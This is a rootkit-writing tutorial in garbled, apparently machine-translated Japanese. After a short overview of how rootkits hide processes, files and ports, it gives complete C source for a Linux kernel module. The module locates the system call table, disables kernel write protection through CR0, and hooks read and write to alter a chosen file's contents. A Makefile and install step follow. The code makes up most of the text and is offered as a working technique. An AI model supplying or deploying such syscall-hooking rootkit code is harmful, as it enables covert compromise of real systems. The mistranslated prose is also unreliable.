ルートキットの原則とライティングチュートリアル
ルートキットの原則
ルートキットの概要
ルートキットには長い歴史があります。Windows、UNIX、Linux、およびその他のオペレーティングシステムに存在します。ルートは英語でルートを意味し、ルートはルートを意味し、キットはパッケージを意味します。ルートキットは、多くのテクノロジーを使用してシステムに潜んでいるバックドアとして理解でき、ログのクリア、ユーザーの追加、cmdshell、スタートアップサービスの追加と削除
、その他の機能など、多くの機能を備えたパッケージが含まれています。もちろん、その設計者はまた、発見されないように自分自身を隠すためにいくつかの技術を使用しました。非表示には、非表示のプロセス、非表示のファイル、ポート、またはハンドル、レジストリエントリ、キー値などが含まれます。つまり、ルートキットを作成する人は、多くの方法を使用して検出されないようにします。
ウィンドウの下でルートキットによって書かれました
Windowsプログラミング技術
Windowsでルートキットを作成する場合は、Windowsの多くのAPI関数を呼び出す必要があるため、Windowsプログラミングテクノロジについてある程度理解している必要があります。
この電子書籍を読んだ後、「WINDOWSハッカープログラミング技術の詳細な説明」。理解することができます
Linuxでのルートキットの作成
filter.cの例としてファイルフィルタードライバーを取り上げます。
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/sched.h>
#include <asm/unistd.h>
#include <linux/file.h>
#include <linux/fs.h>
#include <linux/list.h>
#include <asm/uaccess.h>
unsigned long *sys_call_table = NULL; //系统调用表
asmlinkage ssize_t (*sys_read)(int, void *, size_t); //asmlinkage定义函数表示不从寄存器传递参数
asmlinkage ssize_t (*sys_write)(int, void *, size_t);
static char *filename = "test.c";
//S_IRUGO 内核文件权限值 charp指字符指针
module_param(filename, charp, S_IRUGO); //module_param定义模块参数用法:name,type,perm
static char *keyword = "key";
module_param(keyword, charp, S_IRUGO);
int orig_cr0;
#define STRLEN 1024
char tran_buf[STRLEN];
int len = 0;
struct _idt //中断描述表
{
unsigned short offset_low, segment_sel;
unsigned char reserved, flags;
unsigned short offset_high;
};
unsigned long *getscTable()
{
unsigned char idtr[6], *shell, *sort;
struct _idt *idt;
unsigned long system_call, sct;
unsigned short offset_low, offset_high;
char *p;
int i;
/* get the interrupt descriptor table */
//__asm__调用内联汇编程序,意为GCC支持的在C/C++代码中嵌入汇编的方式
__asm__("sidt %0"
: "=m"(idtr));
/* get the address of system_call */
idt = (struct _idt *)(*(unsigned long *)&idtr[2] + 8 * 0x80);
offset_low = idt->offset_low;
offset_high = idt->offset_high;
system_call = (offset_high << 16) | offset_low;
shell = (char *)system_call;
sort = "\xff\x14\x85";
/* get the address of sys_call_table */
for (i = 0; i < (100 - 2); i++)
if (shell[i] == sort[0] && shell[i + 1] == sort[1] && shell[i + 2] == sort[2])
break;
p = &shell[i];
p += 3;
sct = *(unsigned long *)p;
return (unsigned long *)(sct);
}
unsigned int clear_and_return_cr0(void)
{
unsigned int cr0 = 0;
unsigned int ret;
asm volatile("movl %%cr0, %%eax"
: "=a"(cr0));
ret = cr0;
/*clear the 20th bit of CR0,*/
cr0 &= 0xfffeffff;
asm volatile("movl %%eax, %%cr0"
:
: "a"(cr0));
return ret;
}
void setback_cr0(unsigned int val)
{
asm volatile("movl %%eax, %%cr0"
:
: "a"(val));
}
void encrypt(char *tran_buf, char *keyword)
{
int keylen = strlen(keyword);
printk("keylen %d\n", keylen);
int tlen = strlen(tran_buf);
printk("tlen %d\n", tlen);
int i = 0;
char temp;
while (keylen != 0)
{
temp = tran_buf[0];
for (i = 1; i < tlen - 1; i++)
{
tran_buf[i - 1] = tran_buf[i];
}
tran_buf[tlen - 2] = temp;
keylen--;
}
}
void decrypt(char *tran_buf, char *keyword)
{
int keylen = strlen(keyword);
int tlen = strlen(tran_buf);
int i = 0;
char temp = 0;
while (keylen != 0)
{
temp = tran_buf[tlen - 2];
for (i = tlen - 3; i >= 0; i--)
{
tran_buf[i + 1] = tran_buf[i];
}
tran_buf[0] = temp;
keylen--;
}
}
asmlinkage ssize_t filefilter_read(unsigned int fd, char *buf, size_t count)
{
struct file *file;
int num = sys_read(fd, buf, count);
file = fget(fd);
if (file == NULL)
return sys_read(fd, buf, count);
if (!strcmp(file->f_dentry->d_name.name, filename))
{
if (count > STRLEN)
len = STRLEN - 1;
else
len = count;
copy_from_user(tran_buf, buf, len);
decrypt(tran_buf, keyword);
copy_to_user(buf, tran_buf, len);
}
fput(file);
return num;
}
asmlinkage ssize_t filefilter_write(unsigned int fd, char *buf, size_t count)
{
struct file *file;
file = fget(fd);
if (file == NULL)
return sys_write(fd, buf, count);
if (!strcmp(file->f_dentry->d_name.name, filename))
{
//printk("name %s\n",file->f_dentry->d_name.name);
if (count > STRLEN)
len = STRLEN - 1;
else
len = count;
copy_from_user(tran_buf, buf, len);
encrypt(tran_buf, keyword);
copy_to_user(buf, tran_buf, len);
}
fput(file);
return sys_write(fd, buf, count);
}
static int filefilter_init(void)
{
sys_call_table = getscTable();
printk("sys_call_table addr %x!\n", sys_call_table);
sys_read = (ssize_t(*)(int, void *, size_t))sys_call_table[__NR_read];
sys_write = (ssize_t(*)(int, void *, size_t))sys_call_table[__NR_write];
orig_cr0 = clear_and_return_cr0();
sys_call_table[__NR_read] = (unsigned long)filefilter_read;
sys_call_table[__NR_write] = (unsigned long)filefilter_write;
setback_cr0(orig_cr0);
printk("installed!\n");
return 0;
}
static int filefilter_exit(void)
{
orig_cr0 = clear_and_return_cr0();
sys_call_table[__NR_read] = (unsigned long)sys_read;
sys_call_table[__NR_write] = (unsigned long)sys_write;
setback_cr0(orig_cr0);
printk("uninstalled!\n");
return 0;
}
module_init(filefilter_init);
module_exit(filefilter_exit);
MODULE_LICENSE("GPL");
Makefile:
.PHONY:clean
ifneq ($(KERNELRELEASE),)
obj-m += filter.o
else
PWD := $(shell pwd)
KVER := $(shell uname -r)
KDIR := /lib/modules/$(KVER)/build
default:
$(MAKE) -C $(KDIR) M=$(PWD) modules
all:
make -C $(KDIR) M=$(PWD) modules
clean:
rm -rf *.o *.mod.c *.ko *.symvers *.order *.makers
endif
insmod filter.koを作成した後、完了することができます